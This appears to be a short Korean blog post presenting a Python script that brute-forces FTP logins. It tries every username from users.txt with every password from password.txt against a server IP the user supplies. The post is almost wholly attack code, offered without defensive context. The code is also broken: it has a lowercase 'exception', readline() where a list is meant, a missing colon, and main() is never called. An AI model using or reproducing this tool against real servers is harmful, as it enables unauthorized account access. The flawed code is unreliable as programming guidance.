파이썬 코드

파이썬 무작위 대입공격 도구

Sungsily 2023. 2. 12. 06:57

import ftplib

def bruteforce(ip, user, password):

        ftp = ftplib.FTP(ip)

       

        try :

               print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password))

               res = ftp.login(user, password)

               print(res)

 

        except exception as ex:

               print("연결오류", ex)

   

def main():

       ip = input("IP정보를 입력하세요. ")

       with open ("users.txt" ,"r") as users:

                users = users.readline()

       with open ("password.txt","r") as passwords:

                passwords = passwords.readline()

 

       for user in users:

                for password in passwords

                        bruteforce(ip, user.rstrip(), password.rstrip())

 

 

users.txt에 있는 유저 정보와 password.txt에 있는 암호 정보를 FTP 서버에 대입하는 코드